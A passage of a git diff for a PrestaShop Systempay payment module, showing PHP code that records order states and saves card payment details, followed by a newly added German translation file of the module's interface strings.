$this->savePayment($order, $systempayResponse); + + return $order; + } + + /** + * Update current order state. + */ + public function setOrderState($order, $orderState, $systempayResponse) { + $this->logger->logInfo("Payment status for cart {$order->id_cart} has changed. New order status is $orderState."); + + $msg = new Message(); + $msg->message = $systempayResponse->getLogString(); + $msg->id_order = intval($order->id); + $msg->private = 1; + $msg->add(); + + $order->setCurrentState($orderState); + $this->savePayment($order, $systempayResponse); + } + + /** + * Save payment information. + */ + public function savePayment($order, $systempayResponse) { + $payments = $order->getOrderPayments(); + + if(is_array($payments) && !empty($payments)) { + foreach ($payments as $payment) { + $payment->delete(); + } + + $order->total_paid_real = 0; + } + + if(!$this->_isSuccessState($order)) { + // no payment creation + + return; + } + + // save transaction info + $this->logger->logInfo("Save payment information for cart #{$order->id_cart}."); + + $invoices = $order->getInvoicesCollection(); + $invoice = count($invoices) > 0 ? $invoices[0] : null; + + $currency = $this->getLoadedApi()->findCurrencyByNumCode($systempayResponse->get('currency')); + + $paymentIds = array(); + if ($systempayResponse->get('card_brand') == 'MULTI') { + $sequences = json_decode($systempayResponse->get('payment_seq')); + $transactions = $sequences->transactions; + + foreach($transactions as $trs) { + $amount = $currency->convertAmountToFloat($trs->{'amount'}); + + $transaction_id = $trs->{'sequence_number'} . '-' . $trs->{'trans_id'}; + if($trs->{'ext_trans_id'}) { + $transaction_id .= '-'. $trs->{'ext_trans_id'}; + } + + if (!$order->addOrderPayment($amount, null, $transaction_id, null, null, $invoice)) { + throw new PrestaShopException('Can\'t save Order Payment'); + } + + $pcc = new OrderPayment($this->_lastOrderPaymentId($order)); + $paymentIds[] = $pcc->id; + + // set card info + $pcc->card_number = $trs->{'card_number'}; + $pcc->card_brand = $trs->{'card_brand'}; + if ($trs->{'expiry_month'} && $trs->{'expiry_year'}) { + $pcc->card_expiration = str_pad($trs->{'expiry_month'}, 2, '0', STR_PAD_LEFT) . '/' . $trs->{'expiry_year'}; + } + $pcc->card_holder = NULL; + + $pcc->update(); + } + } else { + $amount = $currency->convertAmountToFloat($systempayResponse->get('amount')); + + if (!$order->addOrderPayment($amount, null, $systempayResponse->get('trans_id'), null, null, $invoice)) { + throw new PrestaShopException('Can\'t save Order Payment'); + } + + $pcc = new OrderPayment($this->_lastOrderPaymentId($order)); + $paymentIds[] = $pcc->id; + + // set card info + $pcc->card_number = $systempayResponse->get('card_number'); + $pcc->card_brand = $systempayResponse->get('card_brand'); + if ($systempayResponse->get('expiry_month') && $systempayResponse->get('expiry_year')) { + $pcc->card_expiration = str_pad($systempayResponse->get('expiry_month'), 2, '0', STR_PAD_LEFT) . '/' . $systempayResponse->get('expiry_year'); + } + $pcc->card_holder = NULL; + + $pcc->update(); + } + + $paymentIds = implode(', ', $paymentIds); + $this->logger->logInfo("Payment information with ID(s) {$paymentIds} saved successfully for cart #{$order->id_cart}."); + } + + private function _isSuccessState($order) { + return $order->getCurrentState() == Configuration::get('PS_OS_PAYMENT') + || $order->getCurrentState() == Configuration::get('PS_OS_OUTOFSTOCK') + || $order->getCurrentState() == Configuration::get('SYSTEMPAY_OS_ONEY_PENDING') + || $order->getCurrentState() == Configuration::get('SYSTEMPAY_OS_PAYMENT_OUTOFSTOCK'); + } + + private function _lastOrderPaymentId($order) { + return Db::getInstance()->getValue(' + SELECT MAX(`id_order_payment`) FROM `'._DB_PREFIX_.'order_payment` + WHERE `order_reference` = \'' . $order->reference . '\''); + } + + public function isOney($systempayResponse) { + return $systempayResponse->get('card_brand') == 'ONEY' || $systempayResponse->get('card_brand') == 'ONEY_SANDBOX'; + } + + public function isOneyPendingPayment($systempayResponse) { + return $this->isOney($systempayResponse) && $systempayResponse->isPendingPayment(); + } +} \ No newline at end of file diff --git a/modules/systempay/translations/de.php b/modules/systempay/translations/de.php new file mode 100755 index 0000000..5866cba --- /dev/null +++ b/modules/systempay/translations/de.php @@ -0,0 +1,252 @@ +systempay_2588246e9b8bb55cd587ed5595d3a7e2'] = 'Kreditkartenzahlungen mit %s akzeptieren'; +$_MODULE['<{systempay}prestashop>systempay_53c0eed255c798ec8fc9299e17f01317'] = 'Sind Sie sicher, dass Sie Ihre Modulangaben löschen möchten?'; +$_MODULE['<{systempay}prestashop>systempay_c82760abe276149682e54af149d50163'] = 'Mindestens eine Angabe im Feld \"Zahlungsarten\" ist ungültig. Nur gültige Zeilen werden gespeichert.'; +$_MODULE['<{systempay}prestashop>systempay_7721928ca91b808090c2e42e8ed087e9'] = 'Sie müssen mindestens einen Kartentyp auswählen.'; +$_MODULE['<{systempay}prestashop>systempay_5416423d5ad1d720c85c23afd46239cd'] = 'Ungültiger Wert \"%s\" für Feld \"%s\".'; +$_MODULE['<{systempay}prestashop>systempay_b4bf0b891dd528b8bc6a0ceddfd5969b'] = 'Die Daten der Kreditkarten können nicht ohne SSL Aktivierung gespeichert werden.'; +$_MODULE['<{systempay}prestashop>systempay_21c8130b9b2e0a71ca25b5ff65a3b04c'] = 'Feld \"%s\" ist ein Pflichtfeld.'; +$_MODULE['<{systempay}prestashop>systempay_84d7948ab154d3076c9ed85adf140370'] = 'Bei der Speicherung von Feld \"%s\" ist ein Fehler aufgetreten.'; +$_MODULE['<{systempay}prestashop>systempay_76cd29d10d79ba6370cda5c89ab0946b'] = 'Multishipping ist aktiviert. FacilyPay Oney-Zahlung kann nicht aktiviert werden.'; +$_MODULE['<{systempay}prestashop>systempay_4c7fd4e78164fd8c7c942f71d800010b'] = 'Bitte geben Sie die mit Banque Accord vereinbarten Mindest- und Höchstbeträge im Reiter FacilyPay Oney-Zahlung ein.'; +$_MODULE['<{systempay}prestashop>systempay_f38f5974cdc23279ffe6d203641a8bdf'] = 'Einstellungen aktualisiert.'; +$_MODULE['<{systempay}prestashop>systempay_ea55655a72a39fcf04f2dfb3a850671d'] = 'Feld \"%s\" entspricht nicht den Vorgaben der FacilyPay Oney-Zahlung. Bitte ändern Sie es, um die FacilyPay Oney-Zahlung nutzen zu können'; +$_MODULE['<{systempay}prestashop>systempay_3eeb49b3032fe4320879769af95d803d'] = 'Feld \"%s\" Ihrer \"%s\" ist ein Pflichtfeld.'; +$_MODULE['<{systempay}prestashop>systempay_8d3f5eff9c40ee315d452392bed5309b'] = 'Nachname'; +$_MODULE['<{systempay}prestashop>systempay_b766ce0639c8492e53cd6a3c9a0e2c05'] = 'Rechnungsadresse'; +$_MODULE['<{systempay}prestashop>systempay_051d3cd9d4ad38267207ab4121aadd66'] = 'Feld \"%s\" Ihrer \"%s\" ist ungültig.'; +$_MODULE['<{systempay}prestashop>systempay_20db0bfeecd8fe60533206a2b5e9891a'] = 'Vorname'; +$_MODULE['<{systempay}prestashop>systempay_bcc254b55c4a1babdf1dcb82c207506b'] = 'Telefonnummer'; +$_MODULE['<{systempay}prestashop>systempay_f0e1fc6f97d36cb80f29196e2662ffde'] = 'Mobilfunknummer'; +$_MODULE['<{systempay}prestashop>systempay_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{systempay}prestashop>systempay_22fcffe02ab9eda5b769387122f2ddce'] = 'Adresse2'; +$_MODULE['<{systempay}prestashop>systempay_642d3ba5db8b57e006584b544e490ec7'] = 'PLZ'; +$_MODULE['<{systempay}prestashop>systempay_57d056ed0984166336b7879c2af3657f'] = 'Ort'; +$_MODULE['<{systempay}prestashop>systempay_59716c97497eb9694541f7c3d37b1a4d'] = 'Land'; +$_MODULE['<{systempay}prestashop>systempay_93fa6de74402990149f480456b94f170'] = 'Lieferadresse'; +$_MODULE['<{systempay}prestashop>systempay_687ae6ebf50a06125319516eee9f5fdb'] = 'Ihre Zahlung wurde abgelehnt. Bitte führen Sie den Bestellvorgang erneut durch.'; +$_MODULE['<{systempay}prestashop>systempay_e555610477d1aa7807d93f28ba80141e'] = 'Zahlung mit EC-/Kreditkarte'; +$_MODULE['<{systempay}prestashop>systempay_796e204aef60da8e6a072431ec43ed2b'] = 'Ratenzahlung mit EC-/Kreditkarte'; +$_MODULE['<{systempay}prestashop>systempay_ba23145ed5d391c93162698854dbee45'] = 'Zahlung via FacilyPay Oney'; +$_MODULE['<{systempay}prestashop>systempay_13aa1c47157818ce4d54f337a17084af'] = '3DS-Authentifizierung : '; +$_MODULE['<{systempay}prestashop>systempay_7469a286259799e5b37e5db9296f00b3'] = 'JA'; +$_MODULE['<{systempay}prestashop>systempay_68a065494f1612ae29b1cde04c936339'] = '3DS-Zertifikat : '; +$_MODULE['<{systempay}prestashop>systempay_c2f3f489a00553e7a01d369c103c7251'] = 'NEIN'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_004a093d1ab4ca81b4024639b4b2427a'] = 'Entwickelt von'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_01ed8a4015b45aa03653c53de46e37ee'] = 'E-Mail-Adresse'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b1c1d84a65180d5912b2dee38a48d6b5'] = 'Modulversion'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_666809109472d77b71fc9930436c7ff1'] = 'Kompatibel mit Zahlungsschnittstelle'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_66b5f3034a6f89c316df97eab1ec5663'] = 'Getestet mit Prestashop Version'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dd98664034d01e01eba03dd5653f9cc3'] = 'HIER FINDEN SIE DIE MODUL-KONFIGURATIONSDOKUMENTATION'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_65a1f435f6f81dfe69dcdfc716f72649'] = 'BASIS EINSTELLUNG'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b2d37ae1cedf42ff874289b721860af2'] = 'Logdaten'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ff9b0dd6daa6ef52ec2504bd7c243c74'] = 'Logdateien des Moduls aktivieren/deaktivieren'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dfef29864f6f6dcd9dd673f3343221de'] = 'ZUGANG ZAHLUNGSSCHNITTSTELLE'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eff08814984e50d7991932fe8bf15991'] = 'Site ID'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_049701ca27fd91a0370ff4c41a5dd3f1'] = 'Site ID der Zahlungsschnittstelle'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5abbd73fc5189212c57adfb43adac459'] = 'Testzertifikat'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_51cc994ce3933ec14767f203e5fd6510'] = 'Zertifikat der Zahlungsschnittstelle'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8d79d82e7b1b6174ac9a55a760d64edc'] = 'Produktionszertifikat'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_033bd94b1168d7e4f0d644c3c95e35bf'] = 'TEST'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_86601675138015edb458866e7d879118'] = 'PRODUKTION'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_650be61892bf690026089544abbd9d26'] = 'Modus'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7052d0a2a8ddfd85c7acf46354389a9e'] = 'Funktionsweise dieses Moduls'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_21dbac9461f8ec4ca19d3fe3907a1776'] = 'Schnittstellen-URL'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4d3fe987b854c00669876f09e814dda8'] = 'URL, an die der Kunde weitergeleitet wird'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_d735e44539f64ded159789010b4931b2'] = 'URL vor Ãœbertragung in Ihr Banksystem prüfen'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e0872477664fd58da4b5fe1c2aa6a453'] = 'Shop auswählen, um URL zu prüfen'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_178ab52ae45ca10afab67d9f2a91c70c'] = 'ZAHLUNGSSEITE'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c96a77fb323a41898c3b6941a58dc741'] = 'Standardsprache'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e27b4ff6694b9ba58627fee38486a7f6'] = 'Standardsprache auf Zahlungsseite'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_86bc3115eb4e9873ac96904a4a68e19e'] = 'Deutsch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_78463a384a5aa4fad5fa73e2f506ecfc'] = 'Englisch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_cb5480c32e71778852b08ae1e8712775'] = 'Spanisch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ad225f707802ba118c22987186dd38e8'] = 'Französisch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4be8e06d27bca7e1828f2fa9a49ca985'] = 'Italienisch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f32ced6a9ba164c4b3c047fd1d7c882e'] = 'Japanisch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_3b261136e3c33f35e0a58611b1f344cb'] = 'Chinesisch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_30e32c7c4cf434e9c75e60c14c442541'] = 'Portugiesisch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_41171a0fcd362ce98b5f0f11398713b6'] = 'Schwedisch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_68bf367e228f45ba83cb8831a5ee6447'] = 'Niederländisch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_deba6920e70615401385fe1fb5a379ec'] = 'Russisch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4e1b0d5f96251571c00165c066b7c550'] = 'Verfügbare Sprachen'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_821467b11b6317263a4fc216af7112b8'] = 'Nichts auswählen, um die Einstellungen der Plattform zu verwenden.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8f497c1a3d15af9e0c215019f26b887d'] = 'Frist'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_123fc485e1ced719eed781646ffe2650'] = 'Bearbeitungsfrist der Bank (in Tagen)'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_941b264af0fd3d55827b0871b45039b2'] = 'Einstellungen des Backoffice'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_086247a9b57fde6eefee2a0c4752242d'] = 'Automatisch'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e1ba155a9f2e8c3be94020eef32a0301'] = 'Manuell'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_31c46d040ddbf15207ebd7b78af8c45d'] = 'Zahlungsbestätigung'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f567c8fc35869581ef8f47eb37154bb1'] = 'Bei manueller Eingabe müssen Sie Zahlungen manuell in Ihrem Banksystem bestätigen'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b0c3cae935975999a5f8ca3062969346'] = 'Verfügbare Zahlungskarten'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4131eb611f462538ec0a10abe8b9e724'] = 'Wählen Sie die zur Zahlung verfügbaren Kartentypen aus.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9fe0bf30d35545b0688448c029e77fc2'] = 'PERSONALISIERUNG DER ZAHLUNGSSEITE'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e140e06995cf99c43970ef378e12b029'] = 'Oberflächenkonfiguration'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5d27e396e9687029d9c9b13c08c79343'] = 'Konfiguration zur kundenspezifischen Gestaltung der Zahlungsseite (logo, CSS).'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e93c33bd1341ab74195430daeb63db13'] = 'Shopbezeichnung'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_92e5b9360dff0d8fa8a7762359257fe7'] = 'Shopbezeichnung zur Anzeige auf der Zahlungsseite. Leer lassen, um Schnittstellenkonfig. zu verwenden.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_37d00f4554dc3c0baeb34a9c22d787d9'] = 'Shop-URL'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_21235deb899b707b33cf99f6e8c810dc'] = 'Shop-URL zur Anzeige auf der Zahlungsseite. Feld leer lassen, um Schnittstellenkonfig. zu verwenden.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_bf261894e1e1e3e798d4b636696e6662'] = 'SELEKTIVES 3DS'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_920e5afd43a2aefa56e7b336fe49c5d4'] = 'Mindestbetrag zur Aktivierung von 3DS'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_459ddd0a40e906c48c32cd32a0cbd9ed'] = 'Muss für die Option Selektives 3-D Secure freigeschaltet sein.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8e0b19a82842dddd5b4bbf435017d611'] = 'ZURÃœCK ZUM SHOP'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b9f5c797ebbf55adccdd8539a65a0241'] = 'Deaktiviert'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Aktiviert'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_aadb7680e9cf237017cd8b67f6c73260'] = 'Automatische Weiterleitung'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2051113e1d11164763db9463db4f3f78'] = 'Kunde am Ende des Zahlungsvorgangs zu Shop weiterleiten'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e5e1991ad7aaf9fe6464c969920f097a'] = 'Erfolgs-Timeout'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_46ac211030d7d389966175ae9fd711f4'] = 'Zeitspanne bis zur Weiterleitung des Kunden nach erfolgter Zahlung'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eb348dd0d56400bd18e7c9e8d25cc666'] = 'Erfolgsnachricht'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c739fa67a340c76b8bac9281b456ca3e'] = 'Nachricht, die nach erfolgter Zahlung vor der Weiterleitung angezeigt wird'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_927bb2451d920fdba0ab0823fa7bae6d'] = 'Ablehnungs-Timeout'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_78d4bee1d6875f229d4e4320a6abf10e'] = 'Zeitspanne bis zur Weiterleitung des Kunden nach fehlgeschlagener Zahlung'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_00b7bcd80d9c9f19186b0c729f6085c4'] = 'Ablehnungs-Nachricht'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a4e63e0b942643e02daa5d2d3df9a814'] = 'Nachricht, die nach einer fehlgeschlagenen Zahlung vor der Weiterleitung angezeigt wird'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a310223d5085f1c22218a24bc33b4e5d'] = 'GET (Parameter in URL)'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_13b89b1404ec947deeb347c8e3901f9b'] = 'POST (Parameter in einem Formular)'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5c6a16d0f0782adac84a09b281878e84'] = 'Ãœbermittlungs-Modus'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_369a63dd2214318d4b7107a0b74cc81f'] = 'Wie der Kunde das Ergebnis des Zahlungsvorgangs übermitteln wird'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4dcaea1b2d8f025a39f1dec679a6186e'] = 'Zurück zum Warenkorb'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4d48c7d2809edea0b654f236d9695943'] = 'Bestellung speichern und zurück zum Bestellverlauf'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_0922629c59c5f69e205a4c831f819794'] = 'Verwaltung fehlgeschlagener Zahlungen'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2ec6d9d74ab7d1ef252b9c514c1f0ec8'] = 'Umgang mit dem Kunden nach fehlgeschlagener Zahlung'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_50aeba62672dfa15fed779c0248653cb'] = 'Zusätzliche GET-Parameter'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c6c2cd91778ce3c566b06c1632ccde1e'] = 'Zusätzliche Parameter, die über die Rücksprung-URL übermittelt werden'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9fe7d4433879f84a21f1a9b47c792550'] = 'Zusätzliche POST-Parameter'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_1a01ef92951bf4fcc5cc02ec502e3e0d'] = 'Zusätzliche Parameter, die über das Rücksendeformular übermittelt werden'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9d6b881a4d17ea44c0f9786f6a5e9c7f'] = 'MODULOPTIONEN'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f634a4ce61dbccff9374360fd995aaed'] = 'Titel Zahlungsweise'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_16a00c2b3807b01ce5730590198ff5db'] = 'Bezeichnung der Zahlungsart zur Darstellung auf der Zahlungsmittelseite.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a9a62e70841c4d06dd16306a85700d36'] = 'Aktivierung'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_6816faa7d62a7c62b89c203b7317b08d'] = 'Auswählen, um Standardzahlung zu aktivieren'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_bf050a33e991ac51cda468deccbb0692'] = 'BETRAGSBESCHRÄNKUNGEN'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9f6e99bdd4184b83dc478d0ab1b4cbf7'] = 'Mindestbetrag'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_fc1bc2d581a104d6e77e51cf38811b63'] = 'Mindestbetrag für die Nutzung dieser Zahlungsweise'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dcd700acd4c6727dca97f5b414cfb384'] = 'Höchstbetrag'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7b594176bb47ad19739bc60a8d5f969b'] = 'Höchstbetrag für die Nutzung dieser Zahlungsweise'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8e59fcba6a5225abb4717cd0a017dae5'] = 'EINGABE KARTENINFORMATIONEN'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_861cde4a15ea3a39126fbfb3571326fd'] = 'Einspeisung der Karteninformationen in die Zahlungsschnittstelle'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e055e426fa40b587d4b3e238f33a6e38'] = 'Auswahl des Kartentyps auf Händlerwebseite'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_30728a5a5aa3054af1db3fc6407bf20e'] = 'Einspeisung der Karteninformationen in die Händlerwebseite'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c239a367447ad7b1ae922a8e017f033d'] = 'Eingabemodus für Karteninformationen'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4bb7fc1c6f2c9cb09369c8e1892b5024'] = 'Wählen Sie einen Modus für die Erfassung der Kreditkarteninformationen aus. Achtung: Um die Option "Datenerfassung auf Händlerwebseite" zu nutzen, muss diese Option mit Ihrer Bank vereinbart sein.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4423e7890e7296a9f535ce199d4d015e'] = 'Auswählen, um mehrere Zahlungsarten zu aktivieren'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ce4d7de3b7a9c4d597d882898a14dcc5'] = 'MEHRERE ZAHLUNGSARTEN'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e3135e5c28bd4c70a9bb3c50b0d278aa'] = 'Zahlungsarten'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ec211f7c20af43e742bf2570c3cb84f9'] = 'Hinzufügen'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f2a6c498fb90ee345d997f888fce3b18'] = 'Löschen'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b021df6aac4654c454f46c77646e745f'] = 'Kennzeichnung'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_80a2645c681d607705f5baab7cf7d2cb'] = 'Mindestbetrag'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7d48ddaff550ef9e47ed788f50d860e7'] = 'Höchstbetrag'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f49498143b94e78415d06029763412b9'] = 'Vertrag'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b2ee912b91d69b435159c7c3f6df7f5f'] = 'Nummer'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_1901606ea069a83dc7beea17881ef95a'] = 'Zeitraum'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5e6fab97b55b59a90290d851fb5fe929'] = '1. Zahlung'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b056d45a87280cf305ce0d0842478c5c'] = 'Auf Hinzufügen klicken, um eine oder mehrere Zahlungsarten zu konfigurieren.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_bfad44649219843147084d62ba70bc79'] = 'Bezeichnung der Zahlungsart zur Darstellung im Frontend.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e922a8c9070a68a322e3dee8b87f0b62'] = 'Mindestbetrag für die Aktivierung der Zahlungsart.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_59423ceb80faf63c4999208b598ca9fd'] = 'Höchstbetrag für die Aktivierung der Zahlungsart.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dc51d4d008b18d70eee856269de5e986'] = 'Referenznummer des Vertrags für die Nutzung der Zahlungsart (nach Möglichkeit frei lassen).'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e9902c2d13eac5c51eeb3e4c3b72ee6d'] = 'Gesamtanzahl der Zahlungen.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_0db6ef3684ba09860d46d0b46f097c51'] = 'Zeitraum (in Tagen) zwischen den Zahlungen.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_fb6f4e7d8e165952c58a9ec74bdd74cd'] = 'Höhe der ersten Zahlung, Angabe in Prozent der Gesamtsumme. Ohne Angabe werden alle Zahlungen mit dem gleichen Betrag ausgewiesen.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c5ff1168424ff8eaa52a4234daee2e68'] = 'Bitte speichern Sie Ihre Änderungen durch Klicken auf "Speichern".'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_28ef0ec84a6abddb4d894b93b047a8f7'] = 'Auswählen, um FacilyPay Oney-Zahlung zu aktivieren'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_877c3919c058e9ca3e19286bed26cb35'] = 'Benötigt einen FacilyPay Oney Vertrag mit Banque Accord und Unterzeichung der Option'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_6e949302013414e958224c73334e8d99'] = 'FACILYPAY ONEY-VERSANDEINSTELLUNGEN'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eb3378ce39cddd81c9e7b011dcbf7196'] = 'Versandarten'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2068f4dd0b1c5f2b86d1092d9301de7f'] = 'Zustelldienst'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_507e465444cdd751dc7a539203c85f7c'] = 'Ausgabe im Shop'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b0efcf1ae8a6bff5debb5ed65de8f412'] = 'Annahmestelle'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_02da484e2730f20ccef65b94f903ea40'] = 'Ausgabe bei Station'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eb6d8ae6f20283755b339c0dc273988b'] = 'Standard'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b144fa061545497bebee8c414efc99a9'] = 'Express'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_49ee3087348e8d44e1feda1917443987'] = 'Name'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a1fa27779242b4902f7ae3bdd5c6d508'] = 'Art'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_44877c6aa8e93fa5a91c9361211464fb'] = 'Geschwindigkeit'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_fc2e1b075d134671d7016188b8011d4e'] = 'FacilyPay Oney-Informationen für alle Versandmethoden festlegen.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f430542ef8d11a982a31141ddec5ef8e'] = 'Bezeichnung der Versandmethode.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c2170582a67d7d0bc7636ad4d322443e'] = 'Die Zustellart der Versandmethode.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_361637f00a86ad3879342852b10281a2'] = 'Auswahl zwischen STANDARD- und EXPRESS-Zustellung.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_457542431996d9c44a8896330a1f0404'] = 'Adresse angeben, falls es sich um eine Ausgabe im Shop handelt.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_22003906cd1030f32dd17f58b4049dfe'] = 'Lebensmittel'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b88033354e42b423efaefbcc5649ddb9'] = 'Automobil'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_336fdcf7d540e4b430a890b63da159c9'] = 'Unterhaltung'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ca5f6d15b151c54a4cbf6f231c540f39'] = 'Haus und Garten'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_efd593bd9811ea0c1ed407b32f68d599'] = 'Haushaltsgeräte'; 